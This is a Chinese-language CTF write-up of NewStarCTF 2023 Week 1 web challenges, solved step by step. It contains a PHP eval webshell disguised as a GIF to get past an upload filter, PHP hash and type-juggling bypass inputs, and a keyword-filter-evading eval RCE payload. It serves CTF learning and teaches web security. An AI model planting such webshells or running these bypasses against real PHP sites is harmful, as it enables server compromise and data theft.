Writeup_2023_NewStarCTF_Week1

NewStarCTF第一周


泄漏的秘密

题目描述:粗心的网站管理员总会泄漏一些敏感信息在Web根目录下

这题一开始想用dirsearch扫的,但是嫌时间太长了就直接试了一些我知道的敏感文件:

1
2
robots.txt //告诉爬虫啥能爬啥不能爬,不过没啥用,这玩意儿就像防盗门一样,真想偷东西的人才不会管你上没上锁
www.zip //存网站备份文件

VIM和Git泄露没有,就这两个文件下载再打开拼一起就是flag了。

Begin of Upload

题目描述:普通的上传啦,平平淡淡才是真

a9

看看源码有啥好东西没:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<script type="text/javascript">
function validateForm() {
var fileInput = document.getElementById("file");
var file = fileInput.files[0];
var allowedExtensions = ["jpg", "jpeg", "png", "gif"];
var fileExtension = file.name.split('.').pop().toLowerCase();

if (!file) {
alert("Please select a file to upload.");
return false;
}

if (!allowedExtensions.includes(fileExtension)) {
alert("错误的拓展名,只允许上传: JPG, JPEG, PNG, GIF");
return false;
}

return true;
}
</script>

限制了后缀,只允许上传图片。估计是前端验证?那就上传个一句话改成图片格式,burpsuite抓个包再改回去:

1
2
3
4
5
GIF89a

<?php
@eval($_POST['viper']);
?>

a10

再改成php后缀就好了,上传路径直接显示再界面了。

a11

然后直接蚁剑连,根目录底下拿flag。

Begin of HTTP

题目描述:最初的开始

md说一嘴这题最后一步限制本地用户才能访问卡了我蛮久。。因为我看到只有本地用户才能访问第一想到的就是改X-Forwarded-For:127.0.0.1Client-Ip字段,但是这俩都没用。我当时人都晕了想不明白为啥不给过。(我当时思路也错了,一直在想IP地址的问题,后面还去找了Authorization字段的信息)。还好当时再看安恒写的那本CTF实战从入门到提升,里面有个题用的X-Real-IP字段。。。运气好把这题做出来了~

a12

GET传参,?ctf=任意就能过了。

a13

POST传参,他说把secret藏起来了,看看源码里有没有啥好东西:

<!-- Secret: base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk) --> //大小写数字混合,一眼base64

解码:n3wst4rCTF2023g00000d

a14

power是否是ctfer?burpsuite抓下包看看有没有这个字段:

a15

改下cookie

a16

后面就是改User-Agent头和Referer头(一个浏览器信息啥的一个网址来源)。最后他会提示只有本地用户才能通过这关,X-Real-IP:127.0.0.1即可。(可能我这辈子都忘不了X-Real-IP这个头了)。

ErrorFlask

题目描述:Err……..

a17

看到这题我第一想到的就是模板注入。。然后在那试49啥的,哈哈。结果直接404了。。他说给他num1和num2,我就试着get传参了?number1=1,结果出了这么个东西:

a18

flag就藏在里面。。这个等官方wp出来了还要看一下,这题感觉没做明白。

Begin of PHP

题目描述:PHP是世界上最安全的语言,真的吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
 <?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}

if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}

if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}

if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}

if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
} //一共五个绕过,都拿下后会读.flag的内容。

先是key1key2不相等但md5加密后弱相等。这东西可以用碰撞也可以用两个东西加密后得0e开头的字符串。如果要求强相等的话直接让key1key2是两个数组就行了(无法对数组加密会返回null)。

?key1[]=1&key2[]=2

第二个条件同理,其实我之前还真没碰到过这种条件(一个东西MD5加密后等于该东西SHA1加密后的值)。我当时想着既然都是hash函数那就让key3等于数组呗(强相等绕过),结果还真绕过了。

strcmp这东西会比较两个字符串中对应位置的ASCII大小,如果相同就继续比较下一个。str1>str2就返回大于0,相同返回0,str1<str2就返回小于0。

strcmp($_GET['key4'],file_get_contents("/flag")题目意思是想让我们输入的key4flag相等,但我们根本不知道flag是多少。这时可以让key4是一个数组,strcmp比较的是字符串,如果传入其它类型会报错。出错会返回0,实现绕过。

is_numeric,这个简单,直接key5=2024a即可。

最后一步POST传key3[]=~&flag5=~,只要数组的值别触发正则匹配就行。

R!C!E!

1
2
3
4
5
6
7
8
9
10
11
 <?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}

password经MD5加密后前六位强等于"c4d038",这东西要写个脚本找,直接用之前做题的脚本改一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib

def find():
mubiao = 'c4d038'
i = 0
while True:
string = str(i)
hash_object = hashlib.md5(string.encode())
if hash_object.hexdigest()[:6] == mubiao: #切片操作,从零开始取六位
return string
i += 1

result = find()
print(result)
#结果:114514

接下来要给e_v.a.l参数赋值,而且传过去的值经过正则匹配过滤后会被eval执行。e_v.a.l这东西很明显不满足变量名的要求:包含了小数点。看下PHP官方的解释:

a19

写一小段代码体会一下咋回事:

1
2
3
4
5
6
7
8
9
 <?php
highlight_file(__FILE__);
$var = $_POST['e_v.a.l'];
var_dump($_POST);
echo '<br/>';
if(isset($_POST['e_v.a.l'])){
echo"hello";
}
?>

POST传e_v.a.l='hellowold!'

结果:array(1) { ["e_v_a_l"]=> string(12) "'hellowold!'" }

可以看到POST传递的参数从e_v.a.l变成了e_v_a_l,空格同理。(但e_v.a.l参数仍没被赋值)。

这里 引用下mochu师傅的解释:

PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

还是上面那串代码,尝试post传参e[v.a.l='hellowold!'.

1
2
3
4
5
6
7
8
9
10
 <?php
highlight_file(__FILE__);
$var = $_POST['e_v.a.l'];
var_dump($_POST);
echo '<br/>';
if(isset($_POST['e_v.a.l'])){
echo"hello";
}
?> array(1) { ["e_v.a.l"]=> string(12) "'hellowold!'" }
hello

成功绕过。

接下来就是怎么绕正则匹配过滤了:

1
2
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);

过滤了flag,那猜测flag是藏在/flag底下的,直接使用通配符:/fl*即可。过滤了system可以使用(sy.(st).em)绕过(字符串拼接)。过滤了cat那就用tac。这道题过滤地并不怎么严格。

payload:

password=114514&e[v.a.l=(sy.(st).em)(printf "\154\163"); 注意printf前和163“后各有一个反引号。

这里关于绕过的一些知识在之前写的博客里说了些,就不详细写了(比较懒,哈哈)。

非法参数名传参的问题参考了这位师傅的文章,感谢!

1
https://blog.csdn.net/mochu7777777/article/details/115050295?spm=1001.2014.3001.5506

EasyLogin

题目描述:简简单单、随心所欲

a20

感觉又是最讨厌的SQL注入。。。

先看看源码里有没有啥东西,主要看看他这个用户名密码是怎么限制的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function waf(value, type) {
if (type === 'un') {
if (value.length < 3 || value.length > 10) {
return {
status: false,
msg: '用户名长度必须为3-10个字符'
}
} else if (!/^[a-zA-Z0-9_-]+$/.test(value)) {
return {
status: false,
msg: '用户名格式错误'
}
}
} else if (type === 'pw') {
if (value.length < 6 || value.length > 18) {
return {
status: false,
msg: '密码长度必须为6-18个字符'
}
} else if (!/^[a-zA-Z0-9!@#$%^&_-]+$/.test(value)) {
return {
status: false,
msg: '密码格式错误'
}
}
}
return {
status: true,
msg: ''
}
}

先注册一下:

a21

但提示admin已经被注册过了?弱口令试了挺多但没啥用,登不上去。那就随便注册一个:

a22

登录后发现跳转到这么个界面:这玩意儿跟个复读机似的,你打啥东西他就把换成给换成空格,?换成!。而且这东西不用数据包(???),burpsuite抓包根本没用。。

它跳转的时候想到了302重定向的问题,就一直开着burpsuite排查,发现这么个东西:

a23

结果那个bv是这么个东西:

a24

看这标题我就感觉不对劲了,翻简介的时候根本没有第七行。。(#$$#$%^$#@#$%$#@@#$%^&)。

如果是SQL注入的话,不知道注入点在哪里。试了挺多弱口令也没试出来。。

1
2
3
4
5
6
7
8
 <?php

if(isset($_POST['e_v.a.l'])){
echo"hello";
}
?>

//e[v.a.l=11

感谢mochu师傅的文章:

1
https://blog.csdn.net/mochu7777777/article/details/115050295

Writeup_2023_NewStarCTF_Week1
http://example.com/2023/09/12/[Writeup]2022 NewstarCTF_Week1(Web部分)/
作者
notbad3
发布于
2023年9月12日
许可协议